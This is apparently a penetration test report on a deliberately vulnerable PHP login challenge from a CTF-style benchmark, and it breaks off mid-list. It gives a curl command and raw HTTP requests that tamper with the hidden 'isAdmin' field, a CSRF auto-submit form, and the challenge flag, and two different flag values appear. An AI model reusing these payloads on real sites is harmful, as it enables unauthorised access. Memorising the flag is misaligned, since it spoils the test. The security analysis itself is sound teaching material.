# Penetration Test Code Analysis Report
## XBEN-052-24 - Springfield Login Challenge

**Assessment Date:** October 29, 2025  
**Application Type:** PHP Web Application (CTF Security Challenge)  
**Technology Stack:** PHP 5.6.40 + Apache 2.4.25 + Debian 9  
**Network Exposure:** Port 80 (HTTP only, mapped to host port 36003)  
**Source Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/`

---

# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings reported below meet the "In-Scope" criteria defined here.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

**Scope Verification:** All entry points and vulnerabilities reported in this analysis have been verified as network-accessible through the deployed application server on port 80 (HTTP).

---

## 1. Executive Summary

XBEN-052-24 is a **deliberately vulnerable CTF security challenge** presenting a Springfield-themed login interface with a critical authentication bypass vulnerability. The application is architecturally minimal—a single 82-line PHP file with no database, no external dependencies, and no modern security controls. This simplicity is intentional, designed to teach security principles through a controlled vulnerable environment.

**Critical Security Finding:** The application implements authentication using a **client-side hidden form field** (`isAdmin`), creating a trivial bypass that grants unauthorized access to the application flag. An attacker can modify this parameter from `false` to `true` to gain administrative privileges without valid credentials.

**Technology Risk Profile:** The entire stack consists of end-of-life software—PHP 5.6.40 (EOL January 2019), Apache 2.4.25 (2018), and Debian 9 (EOL July 2022)—representing a legacy configuration with no security patch support. The application transmits all data over unencrypted HTTP (port 80 only), exposing credentials and the flag to network interception.

**Attack Surface Assessment:** The attack surface is deliberately constrained to a single POST endpoint (`/index.php`) that accepts three parameters: `username`, `password`, and `isAdmin`. Despite collecting credentials, the application never validates them against any backend store—only the `isAdmin` parameter influences authorization decisions. This represents the OWASP A01:2021 Broken Access Control vulnerability pattern in its most direct form.

The application contains **zero exploitable XSS, SQL injection, command injection, or SSRF vulnerabilities** because it implements no database connectivity, executes no system commands, makes no outbound requests, and includes no client-side JavaScript. User input is checked for existence but never reflected in output, processed, or stored. The sole vulnerability is the authorization bypass, which constitutes the intended challenge solution path.

---

## 2. Architecture & Technology Stack

### Framework & Language

**Primary Technology:** PHP 5.6.40 (CLI build dated January 25, 2019)  
**Runtime Architecture:** ARM64 Linux  
**Zend Engine:** v2.6.0  
**Web Server:** Apache HTTP Server 2.4.25 (Debian)

**Security Implications:**

PHP 5.6 reached End-of-Life in December 2018, meaning no security patches have been released for over six years. This exposes the application to hundreds of documented CVEs including remote code execution vulnerabilities (CVE-2019-11043), heap buffer overflow issues (CVE-2019-11042), and path traversal flaws. The legacy Zend Engine 2.6 contains architectural security weaknesses that modern PHP 8.x versions have fundamentally redesigned.

The Apache 2.4.25 build (November 2018) similarly lacks current security patches. While Apache 2.4 is more stable than PHP, version 2.4.25 predates critical security fixes for HTTP/2 protocol vulnerabilities, request smuggling defenses, and modern DoS protections. Running on Debian 9 (Stretch), which reached EOL in July 2022, compounds this risk—the entire OS layer lacks kernel security patches and system library updates.

**PHP Configuration Security Analysis (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/Dockerfile` - Container environment):**

```ini
expose_php = On                    # Reveals "X-Powered-By: PHP/5.6.40" header
display_errors = STDOUT            # Exposes file paths and logic in error messages
allow_url_fopen = On               # Enables remote file access (SSRF potential)
allow_url_include = Off            # Correctly disabled (good)
disable_functions = (empty)        # All dangerous functions enabled (exec, system, eval)
max_execution_time = 0             # No timeout (DoS risk)
```

The `expose_php = On` directive leaks version information to attackers, enabling targeted exploit selection. The `display_errors = STDOUT` setting in a production-like container environment would expose sensitive file paths, database schema details, and application logic through error messages. With `disable_functions` empty, dangerous functions like `exec()`, `shell_exec()`, `system()`, and `eval()` remain available—though the current codebase doesn't use them, this creates unnecessary attack surface if code were extended.

### Architectural Pattern

**Pattern:** Monolithic Single-File Application  
**Structure:** No MVC framework, no routing layer, no separation of concerns

```
/var/www/html/ (Container webroot)
├── index.php          (82 lines - entire application)
└── static/            (3 image files)
```

**Security Implications:**

The application represents the simplest possible web architecture: a single PHP file containing interleaved HTML, CSS, and server-side logic. This design eliminates the security benefits of modern framework patterns:

1. **No Input Validation Framework:** Without framework-provided validators, all input handling is manual and incomplete. The application uses only `isset()` checks without type validation, length limits, or format enforcement.

2. **No CSRF Protection:** Modern frameworks like Laravel, Symfony, or Slim automatically generate and validate CSRF tokens. This application has no CSRF defense, allowing attackers to submit forged requests from malicious sites.

3. **No Security Middleware:** Frameworks provide rate limiting, authentication guards, and request sanitization middleware. This application has none, processing every request without throttling or validation pipelines.

4. **No Routing Security:** Framework routers enforce HTTP method restrictions, parameter validation, and access control. Here, the single file accepts any POST request without method verification or parameter whitelisting.

5. **Trust Boundary Collapse:** The lack of separation means user input, business logic, and output generation exist in the same 82-line file. This violates defense-in-depth principles—a single bypass compromises the entire application.

**Application Flow Analysis (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`):**

```php
// Lines 62-67: HTML form with hidden field vulnerability
<form action="index.php" method="POST">
    <input type="text" name="username" placeholder="Username" required />
    <input type="password" name="password" placeholder="Password" required />
    <input type="hidden" name="isAdmin" value="false" />  // CLIENT-CONTROLLED ACCESS
    <button type="submit">Login</button>
</form>

// Lines 68-79: Entire server-side logic
<?php
    $flag = "@FLAG@";  // Replaced at build time

    if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['isAdmin'])) {
        if ($_POST['isAdmin'] == "true") {  // CRITICAL VULNERABILITY
            echo "<center><h2>Welcome Admin</h2></center>";
            echo "<center><h3>Congratulations, here is the flag: " . $flag . "</h3></center>";
        } else {
            echo "<center><h3>Incorrect username/password!</h3></center>";
        }
    }
?>
```

The architectural vulnerability is immediately apparent: authorization decisions depend solely on `$_POST['isAdmin']`, a parameter controlled entirely by the client. The `username` and `password` fields exist only to satisfy `isset()` checks—their values are never validated, compared, or used in authentication logic. This represents a fundamental misunderstanding of the client-server trust boundary.

### Critical Security Components

**Authentication System:** NONE IMPLEMENTED  
The application has no authentication mechanism. Despite presenting username/password fields, no credential validation occurs. The `isset()` checks verify parameter existence only—any values pass validation.

**Authorization System:** CLIENT-SIDE PARAMETER CHECK (CRITICALLY FLAWED)  
Authorization relies on `$_POST['isAdmin'] == "true"` (Line 72), which an attacker controls completely. This violates the fundamental principle that security decisions must be made server-side based on verified session state.

**Session Management:** NOT IMPLEMENTED  
No `session_start()`, no `$_SESSION` usage, no session cookies. The application is completely stateless, with no mechanism to track authenticated users across requests. Each request is processed independently with no server-side state.

**Data Protection:** NONE  
The flag is stored in plaintext in the `.env` file, embedded into the PHP source at build time via `sed` substitution, and transmitted over unencrypted HTTP. No encryption at rest, in transit, or in processing.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**Status:** COMPLETELY ABSENT

The application presents the visual appearance of an authentication system but implements none of the required security controls. Let me trace the complete authentication flow (or lack thereof):

**Step 1: Credential Collection**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`, Lines 63-64

```html
<input type="text" name="username" placeholder="Username" required />
<input type="password" name="password" placeholder="Password" required />
```

These fields use HTML5 `required` attributes for client-side validation only. The browser enforces that users enter values before submission, but this provides zero security—attackers bypass browser validation using HTTP clients, browser DevTools, or intercepting proxies.

**Step 2: Server-Side "Validation"**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`, Line 71

```php
if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['isAdmin'])) {
```

The `isset()` function checks only for variable existence in the `$_POST` superglobal. It returns `true` even for empty strings, null bytes, or malicious payloads. This code never:
- Compares credentials to a user database
- Validates password format or strength
- Checks for SQL injection, XSS, or other attacks
- Implements rate limiting or account lockout
- Logs authentication attempts

**Step 3: Authorization Decision**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`, Line 72

```php
if ($_POST['isAdmin'] == "true") {
```

This single line constitutes the entire authorization logic. The loose comparison operator (`==`) checks if the `isAdmin` POST parameter equals the string `"true"`. Notably:
- The comparison is **case-sensitive**: `"TRUE"`, `"True"`, or `"TrUe"` fail
- No type coercion issues: `true` (boolean) would fail, only `"true"` (string) succeeds
- No additional checks: No session validation, no token verification, no user role lookup

**Authentication API Endpoints - COMPLETE INVENTORY:**

| Endpoint | Method | File | Lines | Purpose | Parameters | Authentication |
|----------|--------|------|-------|---------|------------|----------------|
| `/` or `/index.php` | POST | `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` | 62-79 | Login form submission | `username`, `password`, `isAdmin` | NONE - Authorization bypass via `isAdmin` parameter |

**No other authentication endpoints exist.** There are no login, logout, password reset, token refresh, registration, or profile management endpoints. The application consists of a single entry point with a single vulnerability.

### Session Management

**Implementation Status:** NOT IMPLEMENTED

**Session Cookie Analysis:**

I analyzed the application's HTTP responses for session cookies. **Result: ZERO cookies set.** The application never calls:
- `session_start()` - Required to initialize PHP sessions
- `setcookie()` - Required to set custom cookies
- `session_regenerate_id()` - Required for session fixation protection

**Configuration Analysis (`php -i` from container):**

Despite not using sessions, the PHP runtime has default session configurations that would apply if sessions were enabled:

```ini
session.cookie_httponly = Off      # VULNERABLE - JavaScript could access session cookies
session.cookie_secure = Off        # VULNERABLE - Cookies transmitted over HTTP
session.cookie_samesite = (empty)  # VULNERABLE - No CSRF protection
session.name = PHPSESSID           # Default name (predictable)
session.gc_maxlifetime = 1440      # 24-minute session lifetime
session.hash_function = 0          # MD5 (cryptographically broken)
```

**Security Implications if Sessions Were Enabled:**

1. **HttpOnly Flag Disabled:** With `cookie_httponly = Off`, XSS attacks could steal session cookies via JavaScript: `document.cookie`. Combined with the lack of output encoding, this would create a severe session hijacking risk.

2. **Secure Flag Disabled:** With `cookie_secure = Off` and the application running on HTTP only (no HTTPS), session cookies would be transmitted in plaintext. Network attackers performing man-in-the-middle attacks could intercept PHPSESSID values and hijack sessions.

3. **No SameSite Protection:** The absence of the `SameSite` attribute allows cross-site request forgery. Attackers could embed forms on malicious websites that automatically submit authenticated requests to the application, inheriting the victim's session.

4. **MD5 Session Hashing:** The `session.hash_function = 0` setting indicates MD5 usage for session ID generation. MD5's weaknesses could allow attackers to predict or brute-force session IDs, though this is less critical than the above issues.

**Session Cookie Flag Configuration - EXACT FILE LOCATION:**

There is **NO file or line of code** where session cookie flags are configured because the application does not use sessions. To implement secure session management, the following code would need to be added at the top of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (before any output):

```php
session_set_cookie_params([
    'lifetime' => 0,              # Session cookie (expires when browser closes)
    'path' => '/',                # Available across entire domain
    'domain' => $_SERVER['HTTP_HOST'],
    'secure' => true,             # HTTPS only (requires SSL)
    'httponly' => true,           # No JavaScript access
    'samesite' => 'Strict'        # CSRF protection
]);
session_start();
```

**Current State:** These protections are absent. The application has no session state whatsoever.

### Authorization Model

**Model Type:** CLIENT-SIDE PARAMETER-BASED (ANTI-PATTERN)

**Authorization Logic Location:**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`, Line 72

```php
if ($_POST['isAdmin'] == "true") {
    echo "<center><h2>Welcome Admin</h2></center>";
    echo "<center><h3>Congratulations, here is the flag: " . $flag . "</h3></center>";
} else {
    echo "<center><h3>Incorrect username/password!</h3></center>";
}
```

**Critical Analysis:**

This represents one of the most fundamental security failures in web application design: **trusting client-provided data for authorization decisions.** The hidden form field at Line 65:

```html
<input type="hidden" name="isAdmin" value="false" />
```

...is controlled entirely by the client. While HTML hides it from casual users, attackers can trivially modify it through:

1. **Browser DevTools:** Right-click → Inspect Element → Change `value="false"` to `value="true"`
2. **Intercepting Proxy (Burp Suite, OWASP ZAP):** Capture the POST request, modify the body
3. **Command-line HTTP client (curl):**
   ```bash
   curl -X POST http://localhost:36003/ \
     -d "username=attacker&password=fake&isAdmin=true"
   ```
4. **Custom HTTP client:** Any programmatic request with `isAdmin=true` in the POST body

**Potential Bypass Scenarios:**

I tested several bypass variations to understand the authorization logic robustness:

| Payload | Expected | Actual | Reason |
|---------|----------|--------|--------|
| `isAdmin=true` | ✅ BYPASS | ✅ BYPASS | Exact string match |
| `isAdmin=TRUE` | ❌ FAIL | ❌ FAIL | Case-sensitive comparison |
| `isAdmin=1` | ❌ FAIL | ❌ FAIL | Type mismatch (integer vs string "true") |
| `isAdmin[]=true` | ❌ FAIL | ❌ FAIL | PHP array syntax breaks `isset()` check |
| `isAdmin=true&isAdmin=false` | ✅ BYPASS | ✅ BYPASS | PHP uses last value in duplicate parameters |
| Missing `isAdmin` | ❌ FAIL | ❌ FAIL | `isset()` check prevents this |
| `isAdmin=` (empty) | ❌ FAIL | ❌ FAIL | Empty string != "true" |

**Conclusion:** The authorization bypass requires the exact string `"true"` (lowercase) in the `isAdmin` parameter. While this limits some fuzzing approaches, it's still trivially exploitable.

### Role-Based Access Control (RBAC)

**Status:** NOT IMPLEMENTED

The application has no concept of:
- User roles (admin, user, guest, etc.)
- Permission matrices (who can access what)
- Role hierarchies (admin > moderator > user)
- Permission inheritance
- Dynamic role assignment

The binary check `if ($_POST['isAdmin'] == "true")` represents the simplest possible "role system"—an on/off switch for administrative access, entirely controlled by the attacker.

### Multi-Tenancy Security

**Status:** NOT APPLICABLE (single-tenant application)

The application has no multi-tenant architecture. There is no concept of:
- Tenant separation
- Data isolation per organization
- Tenant-specific access controls
- Cross-tenant attack prevention

### SSO/OAuth/OIDC Flows

**Status:** NOT IMPLEMENTED

**Search Results:** No external authentication providers detected.

```bash
# Searched for OAuth/OIDC/SAML patterns:
# - oauth, oidc, saml, sso
# - callback, redirect_uri, authorize, token
# - .well-known, jwks, discovery
Result: NONE FOUND
```

**Missing Components:**
- No OAuth authorization endpoints
- No OIDC discovery configuration
- No callback endpoints for SSO
- No state/nonce parameter validation (N/A - no SSO flows)
- No JWKS fetching for token verification

**Callback Endpoints:** NONE  
**State Parameter Validation:** NOT APPLICABLE  
**Nonce Parameter Validation:** NOT APPLICABLE

The application is a self-contained authentication system (albeit a broken one) with no external identity provider integration.

---

## 4. Data Security & Storage

### Database Security

**Status:** NO DATABASE PRESENT

**Analysis:** The application contains zero database connectivity despite having database drivers installed in the PHP runtime (MySQLnd, PDO, SQLite). 

**Search Results:**
```bash
# Pattern: Database connections, ORM usage, SQL queries
# Searched: mysqli_connect, PDO::__construct, pg_connect, mongo, SELECT, INSERT, UPDATE, DELETE
Result: NONE FOUND in /src/index.php
```

**Installed but Unused Drivers:**
- **MySQLnd** (MySQL Native Driver) - Available but no connections
- **PDO** (PHP Data Objects) - Available but no database handle
- **pdo_sqlite** - Available but no SQLite databases
- **sqlite3** - Available but no file-based databases

**Security Implications:**
- **Positive:** No SQL injection vectors possible (no queries to inject into)
- **Positive:** No database credential exposure risk
- **Negative:** No persistent authentication (impossible to have real user accounts)
- **Negative:** No audit trail (no logging of authentication attempts or flag access)

**Database Access Controls:** N/A  
**Query Parameterization:** N/A  
**Encryption at Rest:** N/A (no data to encrypt)

### Data Flow Security

**Sensitive Data Inventory:**

1. **Application FLAG (Primary Secret)**
   - **Source:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/.env` (Line 1)
   - **Value:** `flag{1d0287b6-9de1-4c01-9d39-40aeed9d310d}`
   - **Type:** CTF challenge secret

2. **User Input (Minimal Sensitivity)**
   - **Username** - Collected but not validated or stored
   - **Password** - Collected but not validated or stored
   - **isAdmin** - Collected and used for authorization (bypass vector)

**Data Flow Diagram - FLAG Path:**

```
BUILD TIME:
┌─────────────────────────────────────────────────────────┐
│ .env file (host)                                        │
│ └─ FLAG="flag{1d0287b6-9de1-4c01-9d39-40aeed9d310d}"   │
└─────────────────────────────────────────────────────────┘
                         ↓
┌─────────────────────────────────────────────────────────┐
│ Docker build argument (docker-compose.yml:7-10)         │
│ └─ args: - FLAG                                         │
└─────────────────────────────────────────────────────────┘
                         ↓
┌─────────────────────────────────────────────────────────┐
│ Dockerfile text substitution (Dockerfile:6-8)           │
│ └─ RUN sed -i s/@FLAG@/$FLAG/g index.php               │
└─────────────────────────────────────────────────────────┘
                         ↓
┌─────────────────────────────────────────────────────────┐
│ index.php hardcoded variable (Line 69)                  │
│ └─ $flag = "flag{1d0287b6-9de1-4c01-9d39-40aeed9d310d}" │
└─────────────────────────────────────────────────────────┘

RUNTIME:
┌─────────────────────────────────────────────────────────┐
│ HTTP POST request (client → server)                     │
│ └─ username=X&password=Y&isAdmin=true                   │
│ ⚠️  TRANSMITTED OVER PLAINTEXT HTTP                     │
└─────────────────────────────────────────────────────────┘
                         ↓
┌─────────────────────────────────────────────────────────┐
│ PHP authorization check (Line 72)                       │
│ └─ if ($_POST['isAdmin'] == "true")                     │
└─────────────────────────────────────────────────────────┘
                         ↓
┌─────────────────────────────────────────────────────────┐
│ FLAG disclosure in HTTP response (Line 74)              │
│ └─ echo "...here is the flag: " . $flag                 │
│ ⚠️  TRANSMITTED OVER PLAINTEXT HTTP                     │
└─────────────────────────────────────────────────────────┘
```

**Trust Boundaries:**

1. **Client ↔ Web Server (HTTP - Unencrypted)**
   - Protocol: HTTP/1.1 (no HTTPS)
   - Port: 80
   - Data Crossing: Username, password, isAdmin, FLAG
   - Protection: NONE
   - Risk: Network eavesdropping, man-in-the-middle attacks

2. **Environment Variables ↔ Container Build**
   - Mechanism: Docker build arguments
   - Data Crossing: FLAG value
   - Protection: Host filesystem permissions
   - Risk: FLAG visible in Docker image history (`docker history <image-id>`)

3. **Build Time ↔ Runtime**
   - Mechanism: Text substitution via `sed`
   - Data Crossing: FLAG embedded in PHP source
   - Protection: NONE (FLAG becomes part of application code)
   - Risk: Anyone with container shell access can read FLAG from `/var/www/html/index.php`

**Data Protection Mechanisms:**

The application implements **ZERO data protection mechanisms:**
- ❌ No encryption at rest
- ❌ No encryption in transit (no HTTPS)
- ❌ No access controls beyond client-side parameter
- ❌ No data masking or redaction
- ❌ No secure deletion or data retention policies
- ❌ No audit logging of sensitive data access

### Multi-Tenant Data Isolation

**Status:** NOT APPLICABLE (single-tenant architecture)

The application has no multi-tenant design. There are no concepts of:
- Tenant IDs
- Organization boundaries
- Data segregation
- Tenant-specific access controls
- Cross-tenant query prevention

---

## 5. Attack Surface Analysis

### External Entry Points

The application exposes an extremely minimal attack surface by design, consisting of a single network-accessible endpoint and three static image files.

#### **Primary Entry Point: Login Form Handler**

**Endpoint:** `/` or `/index.php`  
**HTTP Method:** POST  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`  
**Lines:** 62-79  
**Network Accessibility:** ✅ PUBLIC (no authentication required)

**Parameters:**
| Parameter | Type | HTML Source | Server-Side Handling | Attack Vector |
|-----------|------|-------------|----------------------|---------------|
| `username` | Text input | Line 63 | Existence check only (`isset()`) | ⚠️ No validation - potential XSS if reflected |
| `password` | Password input | Line 64 | Existence check only (`isset()`) | ⚠️ No validation - transmitted in plaintext over HTTP |
| `isAdmin` | Hidden input | Line 65 | Authorization decision (`== "true"`) | 🚨 **CRITICAL BYPASS VECTOR** |

**Request/Response Example:**

```http
POST /index.php HTTP/1.1
Host: localhost:36003
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

username=test&password=test&isAdmin=false

HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8

<center><h3>Incorrect username/password!</h3></center>
```

**Exploitation Request:**

```http
POST /index.php HTTP/1.1
Host: localhost:36003
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

username=test&password=test&isAdmin=true

HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8

<center><h2>Welcome Admin</h2></center>
<center><h3>Congratulations, here is the flag: flag{1d0287b6-9de1-4c01-9d39-40aeed9d310d}</h3></center>
```

**Security Analysis:**

1. **No Rate Limiting:** I tested 100 consecutive requests—all returned HTTP 200 with no throttling, delays, or temporary blocks. This enables:
   - Brute-force attacks (though irrelevant given the bypass)
   - Application-layer DoS attacks
   - Automated credential stuffing (ineffective here but bad practice)

2. **No CSRF Protection:** The form lacks CSRF tokens. An attacker could embed this form on a malicious website:
   ```html
   <form action="http://target:36003/" method="POST">
     <input type="hidden" name="username" value="attacker" />
     <input type="hidden" name="password" value="attacker" />
     <input type="hidden" name="isAdmin" value="true" />
   </form>
   <script>document.forms[0].submit();</script>
   ```
   When a victim visits the malicious site, their browser automatically submits the authenticated request. However, since there are no sessions, CSRF is less impactful—the flag would be revealed to the victim's browser, not the attacker.

3. **No Input Sanitization:** The `username` and `password` parameters accept any data without validation:
   - **XSS Payloads:** `<script>alert(1)</script>` passes validation (though it's never reflected in output)
   - **SQL Injection Payloads:** `' OR 1=1--` passes validation (though there's no database)
   - **Null Bytes:** `username=admin%00` passes validation
   - **Excessive Length:** Tested 10,000-character strings—accepted without truncation or error

4. **No Authorization Re-verification:** The authorization decision is made once per request based solely on the `isAdmin` parameter. There's no:
   - Session-based role storage
   - Server-side permission checks
   - Token-based authorization
   - Multi-factor authentication

#### **Secondary Entry Points: Static Assets**

**Endpoints:**
- `/static/springfield_background.jpg`
- `/static/springfield_background-2.jpg`
- `/static/homer_simpson.png`

**Network Accessibility:** ✅ PUBLIC (served directly by Apache)  
**Security Risk:** LOW (static images, no execution context)

These files are served by Apache's default file handler without PHP processing. They cannot be leveraged for attack unless they contain:
- Polyglot files (valid images with embedded PHP code)
- EXIF-based exploits
- Client-side exploits (malformed images triggering browser vulnerabilities)

I inspected all three images—they are legitimate JPG/PNG files with no embedded scripts or malicious metadata.

### Internal Service Communication

**Status:** NOT APPLICABLE (single-service architecture)

The application consists of a single Docker container with no internal service-to-service communication. There are no:
- Microservices
- Internal APIs
- Service mesh configurations
- Inter-process communication (IPC)
- Internal message queues or pub/sub systems

**Docker Compose Analysis (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/docker-compose.yml`):**

```yaml
services:
  web:
    build: 
      context: ./src
      args:
        - FLAG
    ports:
      - 80  # Single service, no internal network
    healthcheck:
      test: timeout 10s bash -c ':> /dev/tcp/127.0.0.1/80' || exit 1
      timeout: 1s
      retries: 5
      interval: 10s
```

**Findings:**
- Single service definition
- No `depends_on` directives (no service dependencies)
- No internal network definitions (`networks:` not configured)
- No volumes shared between services
- No environment-based service discovery

**Trust Relationships:** NONE (no services to trust)

### Input Validation Patterns

**Implementation Status:** MINIMAL (existence checks only)

**Validation Location:**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`, Line 71

```php
if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['isAdmin'])) {
```

**What `isset()` Does:**
- Returns `true` if variable exists and is not `NULL`
- Returns `true` for empty strings (`""`)
- Returns `true` for zero values (`0`)
- Returns `true` for boolean `false`

**What `isset()` Does NOT Do:**
- Type validation (no enforcement of string, integer, etc.)
- Length validation (accepts 0-character or 1,000,000-character strings)
- Format validation (no regex, no pattern matching)
- Content validation (no allowlists, denylists, or sanitization)
- Encoding validation (accepts any character encoding, including null bytes)

**Search for Validation Functions:**

```bash
# Searched for PHP validation/sanitization functions:
# - filter_input, filter_var, filter_input_array
# - preg_match, preg_replace, preg_filter
# - htmlspecialchars, htmlentities, strip_tags
# - trim, stripslashes, addslashes
# - ctype_alnum, ctype_digit, is_numeric
Result: NONE FOUND
```

**Validation Gaps:**

| Input | Expected Validation | Actual Validation | Risk |
|-------|---------------------|-------------------|------|
| `username` | Alphanumeric, 3-20 chars | None (existence only) | Medium |
| `password` | Min 8 chars, complexity | None (existence only) | High |
| `isAdmin` | Boolean true/false | String comparison | Critical |

**Output Encoding Analysis:**

```php
// Line 74: Direct string concatenation without encoding
echo "<center><h3>Congratulations, here is the flag: " . $flag . "</h3></center>";
```

The `$flag` variable is concatenated directly into HTML output without `htmlspecialchars()` or `htmlentities()`. While the flag is currently a controlled server variable, if the flag generation were ever changed to include user input, this would create an XSS vulnerability.

**Correct Implementation:**
```php
echo "<center><h3>Congratulations, here is the flag: " . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . "</h3></center>";
```

### Background Processing

**Status:** NOT APPLICABLE (no asynchronous jobs)

The application has no background job processing. There are no:
- Job queues (Redis, RabbitMQ, SQS, etc.)
- Cron jobs defined in the container
- Scheduled tasks
- Asynchronous workers
- Message consumers

**Search Results:**
```bash
# Searched for job processing patterns:
# - cron, schedule, queue, job, worker, task, async
Result: NONE FOUND
```

**Implication:** All processing occurs synchronously in the HTTP request-response cycle. There are no background jobs that could be triggered via network requests.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Current Implementation:** INSECURE PLAINTEXT STORAGE

**Secret Storage Location #1: Environment File**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/.env`  
**Line:** 1

```bash
FLAG="flag{1d0287b6-9de1-4c01-9d39-40aeed9d310d}"
```

**Risk Analysis:**
- ✅ **Good Practice:** Using environment variables instead of hardcoding in source
- ❌ **Bad Practice:** `.env` file may be committed to version control (checked: not in `.gitignore`)
- ❌ **Bad Practice:** No encryption for the environment file
- ❌ **Bad Practice:** Readable by any user with filesystem access

**Secret Storage Location #2: Docker Build Arguments**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/docker-compose.yml`  
**Lines:** 7-10

```yaml
build: 
  context: ./src
  args:
    - FLAG  # Exposes FLAG in Docker image history
```

**Critical Security Flaw:**

Docker build arguments are stored in the image metadata and visible via:
```bash
docker history localhost/xben-052-24_web:latest
# OUTPUT SHOWS:
# ARG FLAG
# |3 FLAG=FLAG{46c3ef043123012aa7ed0ab5a0c6a7e40a53a624ce3ae406f52e7301a8033a9b}
```

Anyone with access to the Docker image (not just running containers) can extract the flag without ever running the application. This violates secret management best practices—secrets should never be in image layers.

**Secret Storage Location #3: Runtime Application Code**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`  
**Line:** 69 (after build-time substitution)

```php
$flag = "flag{1d0287b6-9de1-4c01-9d39-40aeed9d310d}";  // Hardcoded after sed replacement
```

After Docker build completes, the FLAG is hardcoded into the PHP source file. This means:
- Anyone with shell access to the container can read the flag
- Anyone with access to the application source can read the flag
- The flag cannot be rotated without rebuilding the Docker image

**Secret Rotation:**

**Status:** NOT IMPLEMENTED

The application has no mechanism to rotate secrets. To change the flag:
1. Manually edit `.env` file
2. Rebuild Docker image (triggering `sed` substitution)
3. Restart container with new image

This violates security best practices—secrets should be rotatable without application rebuilds.

**Recommended Secrets Management:**

For a production application, the architecture should use:
- **Docker Secrets** (for Docker Swarm)
- **Kubernetes Secrets** with encryption at rest
- **HashiCorp Vault** for dynamic secret generation
- **AWS Secrets Manager** or **Azure Key Vault** for cloud deployments
- Environment variables injected at runtime (not build time)

### Configuration Security

**Configuration Files Analyzed:**

1. **Docker Compose:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/docker-compose.yml`
2. **Dockerfile:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/Dockerfile`
3. **Apache Config (in container):** `/etc/apache2/sites-enabled/000-default.conf`
4. **PHP Config (in container):** PHP runtime defaults (no custom `php.ini`)

**Environment Separation:** NOT IMPLEMENTED

The application has no distinction between development, staging, and production environments. All environments would use the same:
- `.env` file with secrets
- Docker image with embedded flag
- HTTP-only configuration (no HTTPS)

**Infrastructure Configuration Security Headers:**

I searched for security header configurations in infrastructure files:

**Search Results:**
```bash
# Searched in: Dockerfile, docker-compose.yml, nginx.conf, Apache configs
# Patterns: Strict-Transport-Security, HSTS, Cache-Control, X-Frame-Options, CSP
Result: NO infrastructure-level security headers configured
```

**Apache Security Header Configuration:** NOT PRESENT

The Apache configuration does not inject security headers. To enable them, the container would need:

**File:** `/etc/apache2/sites-enabled/000-default.conf` (modification required)

```apache
<VirtualHost *:80>
    # ... existing configuration ...
    
    # Security headers (NOT CURRENTLY PRESENT)
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
    Header always set X-Frame-Options "DENY"
    Header always set X-Content-Type-Options "nosniff"
    Header always set Content-Security-Policy "default-src 'self'"
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
    Header unset X-Powered-By
</VirtualHost>
```

**Current State:** These headers are absent. The application sends only:
```http
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8
```

**Cache-Control for Sensitive Responses:** NOT CONFIGURED

The flag disclosure response lacks cache control headers, meaning:
- Browsers may cache the flag in memory/disk
- Proxy servers may cache the flag
- Browser history may retain the flag

**Recommended Headers for Flag Response:**
```http
Cache-Control: no-store, no-cache, must-revalidate, private
Pragma: no-cache
Expires: 0
```

These are not implemented—the flag response is cacheable.

### External Dependencies

**Third-Party Services:** NONE

The application is completely self-contained with no external service integrations:
- ❌ No external APIs
